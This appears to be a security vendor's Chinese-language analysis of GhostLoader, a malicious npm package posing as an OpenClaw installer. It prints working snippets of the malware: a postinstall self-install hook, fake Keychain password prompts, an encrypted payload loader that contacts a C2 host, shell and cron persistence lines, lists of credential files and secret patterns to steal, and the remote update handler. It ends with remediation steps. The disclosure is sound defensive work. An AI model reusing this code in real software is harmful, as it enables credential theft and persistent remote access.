揭秘 GhostClaw 真面目—— 一个恶意 npm 包伪装成 OpenClaw 窃取一切数据
背 景
JFrog Security 研究团队发现了一个名为 @openclaw-ai/openclawai 的恶意 npm 包。该包伪装成名为“OpenClaw Installer”的合法命令行工具,部署多阶段感染链,窃取系统凭证、浏览器数据、加密钱包、SSH 密钥、Apple Keychain 数据库、iMessage 历史记录等信息,然后安装一个具有完整远程访问功能的持久性远程访问木马(RAT),该木马具备 SOCKS5 代理和实时浏览器会话克隆功能。
此次攻击的显著特点在于其广泛的数据收集、利用社会工程手段窃取受害者的系统密码,以及其持久性和指挥控制(C2)基础设施的复杂性。该恶意软件内部自称为 GhostLoader。
分发的软件包
package.json 文件呈现出一个看似无害的外表。src/index.js 文件导出了一个诱饵工具 useAsyncState。真正的恶意逻辑位于 scripts/ 目录中:
{
“name”: “@openclaw-ai/openclawai”,
“version”: “1.5.15”,
“description”: “🦞 OpenClaw Installer – Integration utilities”,
“main”: “src/index.js”,
“types”: “src/index.d.ts”,
“files”: [
“src”,
“scripts/setup.js”,
“scripts/postinstall.js”,
“scripts/build.js”
],
“bin”: {
“openclaw”: “./scripts/setup.js”
},
“scripts”: {
“start”: “node src/index.js”,
“build”: “node scripts/build.js”,
“lint”: “eslint src/**/*.js”,
“test”: “jest”
},
“license”: “MIT”,
“keywords”: [
“utility”,
“sdk”,
“integration”
],
“dependencies”: {}
}
postinstall 钩子会静默地全局重新安装该软件包,确保 openclaw 二进制文件位于系统 PATH 环境变量中:
const { execSync } = require(‘child_process’);
execSync(“npm i -g @openclaw-ai/openclawai”, { stdio: ‘inherit’ });
这是第一个触发器。全局安装后,openclaw 二进制文件会指向 scripts/setup.js,即经过混淆处理的第一阶段投放。
第一阶段:有效载荷的分发
setup.js 文件经过高度混淆(字符串表打乱、RC4 解码、控制流扁平化)。执行后,它会显示一个逼真的伪造 CLI 安装程序,带有动画进度条、旋转指示器和真实的系统日志输出:
1、通过虚假 Keychain 提示窃取凭证
进度条完成后,脚本会显示一个虚假的 Keychain 授权提示:
Keychain Authorization Required
OpenClaw needs to securely store credentials in the macOS Keychain.
Administrator privileges are required for the initial setup.
This is a one-time operation for secure vault initialization.
系统会提示受害者输入系统密码(最多尝试 5 次)。每次尝试都会通过真正的操作系统身份验证机制进行验证:
// macOS
spawnSync(“dscl”, [“.”, “-authonly”, username, password], { stdio: “pipe”, timeout: 5000 });
// Windows
spawnSync(“powershell”, [“-NoProfile”, “-NonInteractive”, “-Command”,
“… $ctx.ValidateCredentials(‘” + username + “‘, ‘” + password + “‘) …”]);
// Linux
spawnSync(“su”, [“-c”, “true”, username], { input: password + “\n”, stdio: “pipe” });
失败的尝试会显示“身份验证失败。请重试。”——完全模拟真实的操作系统行为。
2、加密的第二阶段下载
当用户被安装程序界面分散注意力时,脚本会同时从 C2 服务器获取第二阶段的有效载荷。URL 和路径都经过异或编码,并以整数数组的形式存储,以避免静态检测:
var_60.map((val, i) => String.fromCharCode(val ^ var_61[i])).join(“”)
// Decodes to: https://trackpipe.dev
var_65.map((val, i) => String.fromCharCode(val ^ var_66[i])).join(“”)
// Decodes to: fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e
完整请求会发送至:
hxxps[://]trackpipe[.]dev/t/bootstrap?t=fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e
C2 服务器返回一个包含两个字段的 JSON 响应:(base64 编码的加密有效载荷)和 k(十六进制解密密钥)。有效载荷使用 AES-256-GCM 算法进行解密:
const encrypted = Buffer.from(response.p, “base64”);
const key = Buffer.from(response.k, “hex”);
const iv = encrypted.slice(0, 16);
const authTag = encrypted.slice(16, 32);
const ciphertext = encrypted.slice(32);
const decipher = crypto.createDecipheriv(“aes-256-gcm”, key, iv);
decipher.setAuthTag(authTag);
let decrypted = decipher.update(ciphertext);
decrypted = Buffer.concat([decrypted, decipher.final()]);
3、触发分离后的有效载荷
解密后的 JavaScript 代码被写入临时文件,并以分离子进程的形式启动。窃取的密码通过 NODE_AUTH_TOKEN 环境变量传递,而活动标识符 complexarchaeologist1 则通过 NODE_CHANNEL 传递。
const tmpPath = path.join(os.tmpdir(), “sys-opt-” + crypto.randomBytes(6).toString(“hex”) + “.js”);
fs.writeFileSync(tmpPath, decrypted);
const child = spawn(process.execPath, [tmpPath], {
stdio: “ignore”,
detached: true,
env: {
…process.env,
NODE_CHANNEL: “complexarchaeologist1”,
NODE_AUTH_TOKEN: stolenPassword,
NPM_CONFIG_TAG: packageName
}
});
child.unref();
setTimeout(() => { try { fs.unlinkSync(tmpPath); } catch {} }, 60000);
临时文件会在 60 秒后删除。npm install 命令会正常完成,而有效荷载则会在后台继续运行。
4、完全磁盘访问权限(macOS)
如果 Safari 目录无法访问(没有完全磁盘访问权限),脚本将显示一个 AppleScript 对话框,提示用户授予终端 FDA 权限,其中包含分步说明和一个可直接打开系统偏好设置的按钮:
spawn(“osascript”, [“-e”,
‘display dialog “OpenClaw requires Full Disk Access…” ‘ +
‘buttons {“Skip”, “Open Settings”} with title “OpenClaw — Security Setup”‘
]);
这使得第二阶段的有效载荷能够窃取 Apple Notes、iMessage、Safari 历史记录和邮件数据。
第二阶段:GhostLoader — 完整有效载荷
第二阶段的有效载荷是一个约 11,700 行的 JavaScript 代码包。它是一个完整的窃取信息和远程访问木马 (RAT) 框架。该有效载荷使用 CommonJS 模块格式,并带有 __esm/__commonJS 加载器,其中包含用于持久化、数据收集、浏览器解密、C2 通信、SOCKS5 代理和实时浏览器克隆的模块。
1、安装与持久化
首次执行时,有效载荷会永久安装自身:
自安装(Self-installation),该脚本会将自身复制到一个隐藏目录中,并伪装成 npm telemetry服务:
|
平台 |
安装路径 |
|
macOS / Linux |
~/.cache/.npm_telemetry /monitor.js |
|
Windows |
%APPDATA%/.npm_telem etry/monitor.js |
INSTALL_DIR_NAME = “.npm_telemetry”;
EXECUTABLE_NAME = “monitor.js”;
function installSelf() {
const installPath = getInstallPath();
if (!fs.existsSync(installPath)) fs.mkdirSync(installPath, { recursive: true });
fs.copyFileSync(process.argv[1], path.join(installPath, EXECUTABLE_NAME));
}
Shell hook,代码行会添加到 ~/.zshrc、~/.bashrc 和 ~/.bash_profile 文件中,伪装成 # NPM Telemetry Integration 服务。该钩子会检查 .lock PID 文件,如果恶意软件未运行,则会重新启动它:
const hookCode = ‘([ -f “‘ + lockFile + ‘” ] && kill -0 $(cat “‘ + lockFile + ‘”) 2>/dev/null ‘ +
‘|| nohup ‘ + process.execPath + ‘ “‘ + executablePath + ‘” >/dev/null 2>&1 &) 2>/dev/null’;
for (const rcFile of [“.zshrc”, “.bashrc”, “.bash_profile”]) {
const content = fs.readFileSync(rcFile, “utf8”);
if (!content.includes(executablePath)) {
fs.appendFileSync(rcFile, “\n# NPM Telemetry Integration Service\n” + hookCode + “\n”);
}
}
定时任务(Cron jobs, Linux),添加了一个 @reboot 定时任务条目,以确保恶意软件在重启后仍然存在:
const cronLine = ‘@reboot ( [ -f “‘ + lockFile + ‘” ] && kill -0 $(cat “‘ + lockFile + ‘”) ‘ +
‘2>/dev/null || ‘ + nodePath + ‘ “‘ + execPath + ‘” ) >/dev/null 2>&1’;
execSync(“echo ‘” + existingCron + “\n” + cronLine + “‘ | crontab -“);
后台守护进程(Background daemon),安装完成后,恶意软件会从安装路径以分离进程的形式启动自身,然后退出原始进程:
const child = child_process.spawn(process.execPath, [getExecutablePath()], {
detached: true,
stdio: “ignore”
});
child.unref();
2、首次运行时的数据窃取
在首次运行时,main() 函数会精心策划一次全面的数据窃取操作,并设置 10 分钟的硬性超时。它会向 Telegram 发送一条“新会话”通知,其中包含窃取的密码、主机名、IP 地址、国家/地区和系统规格。然后,它会系统地收集以下信息:
macOS Keychain。本地登录名库 (login.keychain-db) 和所有 iCloud Keychain 数据库(包括 -wal 和 -shm 日志文件):
const keychainPath = path.join(os.homedir(), “Library”, “Keychains”, “login.keychain-db”);
if (fs.existsSync(keychainPath)) copyToLoot(keychainPath, “Keychain/login.keychain-db”);
// iCloud Keychains: UUID directories containing keychain-2.db, user.kb, TrustedPeersHelper DBs
浏览器凭据(已解密)。如果系统密码被捕获,恶意软件会利用它通过 macOS Keychain 解密 Chrome 的安全存储(Safe Storage)密钥,然后解密所有基于 Chromium 内核的浏览器(Chrome、Brave、Edge、Vivaldi、Opera、Yandex、Comet)中的密码、Cookie、信用卡信息和自动填充数据。Firefox 密码则通过 NSS/PKCS#12 协议解密。恶意软件会报告以下统计数据:
Decrypted: 42 pass, 3 cards, 128 autofill
CDP cookie 窃取。对于无法通过 SQLite 提取的 cookie,该恶意软件会使用 Chrome DevTools 协议启动无头浏览器实例,并通过 -remote-debugging-port 连接,以编程方式转储所有 cookie:
async function stealCookiesViaCDP(browsers) {
const chromiumBrowsers = browsers.filter(b => b.type === “chromium”);
for (const browser of chromiumBrowsers) {
const binary = findBrowserBinary(browser.name);
for (const profile of getProfiles(browser.path)) {
const port = await findAvailablePort(9222);
const cookies = await runCDPForBrowser(browser.name, binary, browser.path, port, profile);
// Exports in both Netscape and JSON formats
}
}
}
加密钱包。目标包括桌面钱包应用程序和浏览器扩展钱包:
|
平台 |
目标钱包 |
|
macOS |
Exodus, Electrum, Atomic, Bitcoin Core, Ledger Live, Sparrow, Wasabi, Trezor Suite |
|
Linux |
Same set, different paths |
|
浏览器扩展 |
MetaMask, Phantom, Solflare, and others |
助记词扫描器。扫描 ~/Desktop、~/Documents 和 ~/Downloads 目录中的文件,使用词表比例检查来查找 BIP-39 助记词:
function extractMnemonic(text) {
const words = text.toLowerCase().match(/[a-z]{3,8}/g);
if (!words || words.length < 12) return null;
// Calculates ratio of BIP-39 matches
// Files with high ratios are copied to loot/Seeds/found/
}
SSH 密钥。扫描 ~/.ssh/ 目录以查找私钥(id_rsa、id_ed25519 等)。
开发者和云端凭证。一份硬编码的敏感文件列表被泄露:
const targets = [
{ path: “~/.aws/credentials”, name: “Cloud/AWS/credentials” },
{ path: “~/.aws/config”, name: “Cloud/AWS/config” },
{ path: “~/.azure/profiles.json”, name: “Cloud/Azure/profiles.json” },
{ path: “~/.gcloud/credentials.db”, name: “Cloud/GCP/credentials.db” },
{ path: “~/.kube/config”, name: “Cloud/Kubernetes/config” },
{ path: “~/.docker/config.json”, name: “Cloud/Docker/config.json” },
{ path: “~/.npmrc”, name: “Dev/NPM/npmrc” },
{ path: “~/.git-credentials”, name: “Dev/Git/git-credentials” },
{ path: “~/.config/gh/hosts.yml”, name: “Dev/GitHub_CLI/hosts.yml” },
{ path: “~/.config/solana/id.json”, name: “Dev/Solana/id.json” },
];
所有环境变量也会被写入 Environment.txt 文件。
AI代理配置。该恶意软件的目标是AI编码代理的凭证存储:
var AI_AGENT_TARGETS = [
{ name: “ZeroClaw”, baseDir: “.zeroclaw”, files: [“config.toml”], dirs: [“state”] },
{ name: “PicoClaw”, baseDir: “.picoclaw”, files: [“config.json”], dirs: [“workspace/memory”, “workspace/sessions”] },
{ name: “OpenClaw”, baseDir: “.openclaw”, files: [“openclaw.json”], dirs: [“credentials”] }
];
受 FDA 保护的数据(macOS)。如果已授予完全磁盘访问权限(通过尝试读取 ~/Library/Safari 进行检查),则恶意软件会收集以下信息:
◎ Apple Notes(NoteStore.sqlite – 已解析为纯文本)
◎ iMessage 聊天记录(chat.db)
◎ Safari 浏览器浏览记录(History.db)
◎ 邮件帐户配置(Accounts.plist)
◎ Apple 帐户信息(Accounts4.sqlite)
3、数据外泄
所有收集的数据都被压缩成一个名为 [COUNTRY_CODE]username_persistentId.tar.gz 的 tar.gz 压缩包。
为了确保数据冗余,该压缩包会通过多个渠道进行外泄:
|
渠道 |
条件 |
方法 |
|
C2 Panel |
总是 |
HTTP 上传到 hxxps [://]trackpipe[.]dev |
|
Telegram Bot API |
存档 < ~49 MB |
通过 Bot API 直接上传 文件:向 api.telegram.org /bot<token>/sendDo cument发送 multipart POST 请求 |
|
GoFile.io |
存档 > ~49 MB |
使用硬编码的 bearer token 将文件上传到 upload.gofile.io /uploadfile。然后使用硬编码的密码通过 GoFile API 对文件进行密码锁定。 |
系统会向 Telegram 发送一份格式化的汇总报告,其中包含所有被盗数据的统计数据:
GhostLoader Report
[ Target ]
Worker: complexarchaeologist1
Campaign: @openclaw-ai/openclawai
User: victim
Host: MacBook-Pro.local
Country: US
[ Findings ]
password .. hunter2
pass ………. 42
cards ……… 3
autofill ….. 128
CDP ………. 4
wallets …… 2
seeds …….. 1
ssh ………… 3
FDA ……….. Yes (5)
persist …… Yes
keychain … Yes
browsers .. 3
AI agents . ZeroClaw (4), PicoClaw (2)
数据外泄后,相关目录会被清理干净。
4、持久化模式:远程访问木马功能
在后续运行时(当恶意软件检测到它正在从其安装路径运行时),它会进入持久守护进程模式:
◎ PID 锁定。终止任何先前正在运行的实例,并将自身的 PID 写入 .lock 文件。
◎ 信标注册。向 C2 Panel 发送系统信息以进行注册。
◎ Telegram 配置。从 C2 Panel 获取机器人令牌和聊天 ID。
◎ 启动后台监控程序:
➢ 剪贴板监控器。每 3 秒读取一次系统剪贴板,并将其与正则表达式模式进行比对,检查是否存在敏感数据。任何匹配项都会立即发送到 Telegram 和 C2 Panel:
var PATTERNS = [
{ name: “Private Key (Hex)”, regex: /\b[a-fA-F0-9]{64}\b/ },
{ name: “WIF Key”, regex: /\b[5KLc][1-9A-HJ-NP-Za-km-z]{50,51}\b/ },
{ name: “SOL Private Key”, regex: /\b[1-9A-HJ-NP-Za-km-z]{87,88}\b/ },
{ name: “RSA Private Key”, regex: /—BEGIN (?:RSA )?PRIVATE KEY—/ },
{ name: “BTC Address”, regex: /\b(bc1[a-z0-9]{38,61}|[13][1-9A-HJ-NP-Za-km-z]{25,34})\b/ },
{ name: “ETH Address”, regex: /\b0x[a-fA-F0-9]{40}\b/ },
{ name: “AWS Key”, regex: /\b(AKIA|ABIA|ACCA)[0-9A-Z]{16}\b/ },
{ name: “OpenAI Key”, regex: /\bsk-[a-zA-Z0-9]{48}\b/ },
{ name: “Stripe Key”, regex: /\bsk_live_[0-9a-zA-Z]{24}/ }
];
当剪贴板中检测到助记词时,警报会显示单词计数和 BIP-39 匹配率。
◎ 进程监视器。监视正在运行的进程,查找感兴趣的应用程序。
◎ iMessage 监视器(macOS)。实时监视 iMessage chat.db 中的新消息。
5、C2 命令处理
该恶意软件每隔约 25 秒(有 30% 的抖动)轮询一次 C2 Panel 以获取命令。handleCommand() 函数支持以下操作:
|
命令 |
描述 |
|
EXEC |
执行任意 shell 命令(超时时间为 85 秒),并将输出返回给 C2。 |
|
OPEN |
在受害者的默认浏览器中打开一个网址。 |
|
UPDATE |
下载新的有效载荷(AES-256-GCM 加密),覆盖 monitor.js 文件,重启 |
|
GRAB |
使用 tar 包并提取任意文件或目录路径 |
|
RECOLLECT |
重新运行完整数据采集(可选择使用新密码) |
|
PROXY_START |
在受害机器上启动 SOCKS5 代理。 |
|
PROXY_STOP |
停止 SOCKS5 代理 |
|
PROXY_STATUS |
报告代理端口、活动连接数、运行时间 |
|
CLONE_START |
克隆浏览器配置文件并使用 CDP 以无头模式启动,然后转发到 C2。 |
|
CLONE_STOP |
停止浏览器克隆 |
|
CLONE_STATUS |
列出可用浏览器和活跃的克隆版本 |
|
NUKE |
完全自毁 |
UPDATE 命令使用与初始有效载荷交付相同的 AES-256-GCM 解密方案,允许操作员推送新版本:
if (arg_454.type === “UPDATE”) try {
const { url: var_1634, key: var_1635 } = JSON.parse(arg_454.payload);
if (!var_1634 || !var_1635) throw new Error(“UPDATE payload missing url or key”);
await selfUpdate(var_1634, var_1635);
if (“https://trackpipe.dev”) try {
await sendResult(arg_454.id, “Updated. Restarting.”, “completed”);
}
catch {}
restartSelf();
} catch (err_68) {
if (“https://trackpipe.dev”) try {
await sendResult(arg_454.id, err_68.message, “error”);
} catch {}
}
CLONE_START 命令尤其危险。它会复制完整的浏览器配置文件(包括 cookie、登录数据、历史记录和本地状态),启动一个带有 -remote-debugging-port 参数的无头 Chromium 实例,并将 CDP WebSocket 连接转发回 C2 服务器。这使得攻击者能够获得一个完全经过身份验证的浏览器会话——他们可以以受害者的身份浏览网页,而无需任何凭据。
NUKE 命令执行完全自毁:杀死所有 ghost/clone 进程,从所有 RC 文件中删除 shell 钩子,清理 cron 作业,删除所有以 ghost_ 或 clone_ 为前缀的临时文件,并递归删除安装目录。
反取证
该恶意软件采用多种技术来逃避检测并增加分析难度:
◎ 分离子进程,设置 stdio:“ignore” 和 process.title =“node”
◎ 临时有效载荷文件在 60 秒后删除
◎ 安装目录伪装成 .npm_telemetry
◎ Shell 钩子伪装成 # NPM Telemetry Integration Service
◎ Cron 条目伪装成 # Node.js Telemetry Collection
◎ 数据泄露后清理相关目录
◎ PID 锁定文件防止出现多个实例
◎ 崩溃报告会将调试日志发送到 Telegram,然后退出
◎ 使用 NUKE 命令彻底销毁证据
补救措施
已安装此软件包的用户应:
1、移除持久化配置。检查 ~/.zshrc、~/.bashrc、~/.bash_profile、~/.zshenv 和 ~/.profile 文件中是否存在包含 npm_telemetry 或 NPM Telemetry Integration Service 的行,并将其删除。检查 crontab -l 文件中是否存在引用 .npm_telemetry 的条目,并将其删除。
2、终止正在运行的进程。运行 ps aux | grep monitor.js 和 ps aux | grep npm_telemetry 命令来查找并终止任何正在运行的实例。
3、删除安装目录。删除 ~/.cache/.npm_telemetry/(macOS/Linux)或 %APPDATA%/.npm_telemetry/(Windows)。
4、卸载该软件包。
npm uninstall -g @openclaw-ai/openclawai && npm uninstall @openclaw-ai/openclawai
5、轮换所有凭证。包括系统密码、SSH 密钥、API 令牌(AWS、GCP、Azure、OpenAI、Stripe、npm、GitHub CLI)、浏览器保存的密码以及任何可能已泄露的加密钱包助记词。
6、撤销浏览器会话。所有浏览器 Cookie 已被窃取。请退出 Google、GitHub 以及其他支持会话管理的服务中的所有活动会话。
7、如果可能,请重装系统。鉴于访问权限的深度(系统密码、完整 Keychain、浏览器会话、SOCKS5代理、浏览器克隆),强烈建议进行完整的系统重装。
总 结
@openclaw-ai/openclawai 软件包将社会工程学、加密载荷传输、广泛数据收集和持久性远程访问木马(RAT)集成到一个 npm 包中。精心设计的伪造命令行安装程序和 Keychain 提示足以以假乱真,从谨慎的开发者手中窃取系统密码。一旦获取到这些凭据,即可解锁 macOS Keychain 解密和浏览器凭据提取功能,而这些功能通常会被操作系统级别的保护机制所阻止。
持久层(shell hooks、cron 作业)和 UPDATE 命令使操作员能够长期访问而无需重新发布软件包,而 NUKE 命令可以彻底销毁证据。
开发者应将任何请求系统凭据、使用安装后脚本全局安装自身或在安装时获取远程有效载荷的 npm 包视为可疑包。安装 OpenClaw 时,请仅使用来自已验证来源的官方包,切勿使用第三方或名称相似的替代方案。在安装时标记这些行为的自动化工具仍然是抵御此类攻击的有效防御手段。
该软件包已被 JFrog Xray 和 JFrog Curation 检测到。
成功
感谢您提交申请,我们稍后会与您取得联系!
哎哟... 出了点问题
请稍后再试
Information
Modal Message